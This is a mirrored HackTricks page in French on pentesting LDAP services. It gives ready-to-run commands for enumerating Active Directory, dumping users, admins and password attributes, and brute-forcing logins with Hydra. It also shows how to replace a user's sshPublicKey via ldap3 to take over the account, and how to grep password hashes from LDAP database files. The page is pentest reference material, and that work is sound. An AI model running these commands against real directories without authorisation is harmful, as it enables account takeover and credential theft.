mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
382 lines
17 KiB
Markdown
382 lines
17 KiB
Markdown
# 389, 636, 3268, 3269 - Pentesting LDAP
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
L'utilisation de **LDAP** (Lightweight Directory Access Protocol) est principalement destinée à localiser diverses entités telles que des organisations, des individus et des ressources comme des fichiers et des dispositifs au sein des réseaux, tant publics que privés. Il offre une approche rationalisée par rapport à son prédécesseur, DAP, en ayant une empreinte de code plus petite.
|
|
|
|
Les annuaires LDAP sont structurés pour permettre leur distribution sur plusieurs serveurs, chaque serveur hébergeant une version **répliquée** et **synchronisée** de l'annuaire, appelée Agent de Système d'Annuaire (DSA). La responsabilité de la gestion des demandes incombe entièrement au serveur LDAP, qui peut communiquer avec d'autres DSA si nécessaire pour fournir une réponse unifiée au demandeur.
|
|
|
|
L'organisation de l'annuaire LDAP ressemble à une **hiérarchie d'arbre, commençant par le répertoire racine en haut**. Cela se divise en pays, qui se subdivisent ensuite en organisations, puis en unités organisationnelles représentant diverses divisions ou départements, atteignant enfin le niveau des entités individuelles, y compris les personnes et les ressources partagées comme des fichiers et des imprimantes.
|
|
|
|
**Port par défaut :** 389 et 636 (ldaps). Le Catalogue Global (LDAP dans ActiveDirectory) est disponible par défaut sur les ports 3268 et 3269 pour LDAPS.
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
389/tcp open ldap syn-ack
|
|
636/tcp open tcpwrapped
|
|
```
|
|
### LDAP Data Interchange Format
|
|
|
|
LDIF (LDAP Data Interchange Format) définit le contenu du répertoire comme un ensemble d'enregistrements. Il peut également représenter des demandes de mise à jour (Ajouter, Modifier, Supprimer, Renommer).
|
|
```bash
|
|
dn: dc=local
|
|
dc: local
|
|
objectClass: dcObject
|
|
|
|
dn: dc=moneycorp,dc=local
|
|
dc: moneycorp
|
|
objectClass: dcObject
|
|
objectClass: organization
|
|
|
|
dn ou=it,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
ou: dev
|
|
|
|
dn: ou=marketing,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
Ou: sales
|
|
|
|
dn: cn= ,ou= ,dc=moneycorp,dc=local
|
|
objectClass: personalData
|
|
cn:
|
|
sn:
|
|
gn:
|
|
uid:
|
|
ou:
|
|
mail: pepe@hacktricks.xyz
|
|
phone: 23627387495
|
|
```
|
|
- Les lignes 1-3 définissent le domaine de premier niveau local
|
|
- Les lignes 5-8 définissent le domaine de premier niveau moneycorp (moneycorp.local)
|
|
- Les lignes 10-16 définissent 2 unités organisationnelles : dev et sales
|
|
- Les lignes 18-26 créent un objet du domaine et assignent des attributs avec des valeurs
|
|
|
|
## Écrire des données
|
|
|
|
Notez que si vous pouvez modifier des valeurs, vous pourriez être en mesure d'effectuer des actions vraiment intéressantes. Par exemple, imaginez que vous **pouvez changer l'information "sshPublicKey"** de votre utilisateur ou de n'importe quel utilisateur. Il est très probable que si cet attribut existe, alors **ssh lit les clés publiques depuis LDAP**. Si vous pouvez modifier la clé publique d'un utilisateur, vous **pourrez vous connecter en tant que cet utilisateur même si l'authentification par mot de passe n'est pas activée dans ssh**.
|
|
```bash
|
|
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
|
>>> connection.bind()
|
|
True
|
|
>>> connection.extend.standard.who_am_i()
|
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
|
```
|
|
## Sniffer les identifiants en texte clair
|
|
|
|
Si LDAP est utilisé sans SSL, vous pouvez **sniffer les identifiants en texte clair** dans le réseau.
|
|
|
|
De plus, vous pouvez effectuer une attaque **MITM** dans le réseau **entre le serveur LDAP et le client.** Ici, vous pouvez réaliser une **attaque de rétrogradation** afin que le client utilise les **identifiants en texte clair** pour se connecter.
|
|
|
|
**Si SSL est utilisé**, vous pouvez essayer de faire un **MITM** comme mentionné ci-dessus, mais en offrant un **faux certificat**. Si l'**utilisateur l'accepte**, vous pouvez rétrograder la méthode d'authentification et voir à nouveau les identifiants.
|
|
|
|
## Accès anonyme
|
|
|
|
### Contourner la vérification SNI TLS
|
|
|
|
Selon [**cet article**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), simplement en accédant au serveur LDAP avec un nom de domaine arbitraire (comme company.com), il a pu contacter le service LDAP et extraire des informations en tant qu'utilisateur anonyme :
|
|
```bash
|
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
|
```
|
|
### LDAP anonymous binds
|
|
|
|
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permettent aux **attaquants non authentifiés** de récupérer des informations du domaine, telles qu'une liste complète d'utilisateurs, de groupes, d'ordinateurs, d'attributs de compte utilisateur et de la politique de mot de passe du domaine. C'est une **configuration héritée**, et depuis Windows Server 2003, seuls les utilisateurs authentifiés sont autorisés à initier des requêtes LDAP.\
|
|
Cependant, les administrateurs ont pu avoir besoin de **configurer une application particulière pour permettre les connexions anonymes** et ont donné plus d'accès que prévu, permettant ainsi aux utilisateurs non authentifiés d'accéder à tous les objets dans AD.
|
|
|
|
## Valid Credentials
|
|
|
|
Si vous avez des identifiants valides pour vous connecter au serveur LDAP, vous pouvez extraire toutes les informations sur le Domain Admin en utilisant :
|
|
|
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
|
```bash
|
|
pip3 install ldapdomaindump
|
|
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
|
```
|
|
### [Brute Force](../generic-hacking/brute-force.md#ldap)
|
|
|
|
## Énumération
|
|
|
|
### Automatisé
|
|
|
|
En utilisant cela, vous pourrez voir les **informations publiques** (comme le nom de domaine)**:**
|
|
```bash
|
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|
```
|
|
### Python
|
|
|
|
<details>
|
|
|
|
<summary>Voir l'énumération LDAP avec python</summary>
|
|
|
|
Vous pouvez essayer d'**énumérer un LDAP avec ou sans identifiants en utilisant python** : `pip3 install ldap3`
|
|
|
|
Tout d'abord, essayez de **vous connecter sans** identifiants :
|
|
```bash
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server)
|
|
>>> connection.bind()
|
|
True
|
|
>>> server.info
|
|
```
|
|
Si la réponse est `True` comme dans l'exemple précédent, vous pouvez obtenir des **données intéressantes** du serveur LDAP (comme le **contexte de nommage** ou le **nom de domaine**) à partir de :
|
|
```bash
|
|
>>> server.info
|
|
DSA info (from DSE):
|
|
Supported LDAP versions: 3
|
|
Naming contexts:
|
|
dc=DOMAIN,dc=DOMAIN
|
|
```
|
|
Une fois que vous avez le contexte de nommage, vous pouvez effectuer des requêtes plus intéressantes. Cette requête simple devrait vous montrer tous les objets dans le répertoire :
|
|
```bash
|
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
|
True
|
|
>> connection.entries
|
|
```
|
|
Ou **dump** tout l'ldap :
|
|
```bash
|
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
|
True
|
|
>>> connection.entries
|
|
```
|
|
</details>
|
|
|
|
### windapsearch
|
|
|
|
[**Windapsearch**](https://github.com/ropnop/windapsearch) est un script Python utile pour **énumérer les utilisateurs, groupes et ordinateurs d'un domaine Windows** en utilisant des requêtes LDAP.
|
|
```bash
|
|
# Get computers
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
|
# Get groups
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
|
|
# Get users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Domain Admins
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Privileged Users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
|
|
```
|
|
### ldapsearch
|
|
|
|
Vérifiez les identifiants nuls ou si vos identifiants sont valides :
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
```bash
|
|
# CREDENTIALS NOT VALID RESPONSE
|
|
search: 2
|
|
result: 1 Operations error
|
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
|
tion a successful bind must be completed on the connection., data 0, v3839
|
|
```
|
|
Si vous trouvez quelque chose disant que le "_bind doit être complété_" signifie que les identifiants sont incorrects.
|
|
|
|
Vous pouvez extraire **tout d'un domaine** en utilisant :
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
-x Simple Authentication
|
|
-H LDAP Server
|
|
-D My User
|
|
-w My password
|
|
-b Base site, all data from here will be given
|
|
```
|
|
Extraire **utilisateurs** :
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
|
```
|
|
**ordinateurs**
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extraire **mes informations** :
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extraire **Domain Admins** :
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extraire **Domain Users** :
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extraire **Enterprise Admins** :
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**Administrateurs**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**Groupe de Bureau à Distance**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Pour voir si vous avez accès à un mot de passe, vous pouvez utiliser grep après avoir exécuté l'une des requêtes :
|
|
```bash
|
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
|
```
|
|
Veuillez noter que les mots de passe que vous pouvez trouver ici pourraient ne pas être les réels...
|
|
|
|
#### pbis
|
|
|
|
Vous pouvez télécharger **pbis** ici : [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) et il est généralement installé dans `/opt/pbis`.\
|
|
**Pbis** vous permet d'obtenir des informations de base facilement :
|
|
```bash
|
|
#Read keytab file
|
|
./klist -k /etc/krb5.keytab
|
|
|
|
#Get known domains info
|
|
./get-status
|
|
./lsa get-status
|
|
|
|
#Get basic metrics
|
|
./get-metrics
|
|
./lsa get-metrics
|
|
|
|
#Get users
|
|
./enum-users
|
|
./lsa enum-users
|
|
|
|
#Get groups
|
|
./enum-groups
|
|
./lsa enum-groups
|
|
|
|
#Get all kind of objects
|
|
./enum-objects
|
|
./lsa enum-objects
|
|
|
|
#Get groups of a user
|
|
./list-groups-for-user <username>
|
|
./lsa list-groups-for-user <username>
|
|
#Get groups of each user
|
|
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
|
|
|
#Get users of a group
|
|
./enum-members --by-name "domain admins"
|
|
./lsa enum-members --by-name "domain admins"
|
|
#Get users of each group
|
|
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
|
|
|
#Get description of each user
|
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
|
echo "$line";
|
|
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
|
echo "======================"
|
|
done
|
|
```
|
|
## Interface Graphique
|
|
|
|
### Apache Directory
|
|
|
|
[**Téléchargez Apache Directory ici**](https://directory.apache.org/studio/download/download-linux.html). Vous pouvez trouver un [exemple d'utilisation de cet outil ici](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
|
|
|
### jxplorer
|
|
|
|
Vous pouvez télécharger une interface graphique avec un serveur LDAP ici : [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
|
|
|
Par défaut, il est installé dans : _/opt/jxplorer_
|
|
|
|
.png>)
|
|
|
|
### Godap
|
|
|
|
Godap est une interface utilisateur de terminal interactive pour LDAP qui peut être utilisée pour interagir avec des objets et des attributs dans AD et d'autres serveurs LDAP. Il est disponible pour Windows, Linux et MacOS et prend en charge les liaisons simples, pass-the-hash, pass-the-ticket et pass-the-cert, ainsi que plusieurs autres fonctionnalités spécialisées telles que la recherche/création/changement/suppression d'objets, l'ajout/retrait d'utilisateurs dans des groupes, le changement de mots de passe, l'édition des permissions d'objet (DACLs), la modification de DNS intégré à Active Directory (ADIDNS), l'exportation vers des fichiers JSON, etc.
|
|
|
|

|
|
|
|
Vous pouvez y accéder à [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Pour des exemples d'utilisation et des instructions, lisez le [Wiki](https://github.com/Macmod/godap/wiki).
|
|
|
|
### Ldapx
|
|
|
|
Ldapx est un proxy LDAP flexible qui peut être utilisé pour inspecter et transformer le trafic LDAP d'autres outils. Il peut être utilisé pour obfusquer le trafic LDAP afin de tenter de contourner les outils de protection de l'identité et de surveillance LDAP et implémente la plupart des méthodes présentées dans la présentation [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
|
|
|
|

|
|
|
|
Vous pouvez l'obtenir à partir de [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
|
|
|
## Authentification via kerberos
|
|
|
|
En utilisant `ldapsearch`, vous pouvez **vous authentifier** contre **kerberos au lieu** de via **NTLM** en utilisant le paramètre `-Y GSSAPI`
|
|
|
|
## POST
|
|
|
|
Si vous pouvez accéder aux fichiers où les bases de données sont contenues (cela pourrait être dans _/var/lib/ldap_). Vous pouvez extraire les hachages en utilisant :
|
|
```bash
|
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
|
```
|
|
Vous pouvez alimenter john avec le mot de passe hash (de '{SSHA}' à 'structural' sans ajouter 'structural').
|
|
|
|
### Fichiers de Configuration
|
|
|
|
- Général
|
|
- containers.ldif
|
|
- ldap.cfg
|
|
- ldap.conf
|
|
- ldap.xml
|
|
- ldap-config.xml
|
|
- ldap-realm.xml
|
|
- slapd.conf
|
|
- IBM SecureWay V3 server
|
|
- V3.sas.oc
|
|
- Microsoft Active Directory server
|
|
- msadClassesAttrs.ldif
|
|
- Netscape Directory Server 4
|
|
- nsslapd.sas_at.conf
|
|
- nsslapd.sas_oc.conf
|
|
- OpenLDAP directory server
|
|
- slapd.sas_at.conf
|
|
- slapd.sas_oc.conf
|
|
- Sun ONE Directory Server 5.1
|
|
- 75sas.ldif
|
|
|
|
## HackTricks Commandes Automatiques
|
|
```
|
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
|
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for LDAP
|
|
Note: |
|
|
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
|
|
|
|
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
|
|
|
|
Entry_2:
|
|
Name: Banner Grab
|
|
Description: Grab LDAP Banner
|
|
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
|
|
|
Entry_3:
|
|
Name: LdapSearch
|
|
Description: Base LdapSearch
|
|
Command: ldapsearch -H ldap://{IP} -x
|
|
|
|
Entry_4:
|
|
Name: LdapSearch Naming Context Dump
|
|
Description: Attempt to get LDAP Naming Context
|
|
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
|
|
|
Entry_5:
|
|
Name: LdapSearch Big Dump
|
|
Description: Need Naming Context to do big dump
|
|
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
|
|
|
Entry_6:
|
|
Name: Hydra Brute Force
|
|
Description: Need User
|
|
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
|
|
|
Entry_7:
|
|
Name: Netexec LDAP BloodHound
|
|
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
|
```
|
|
{{#include ../banners/hacktricks-training.md}}
|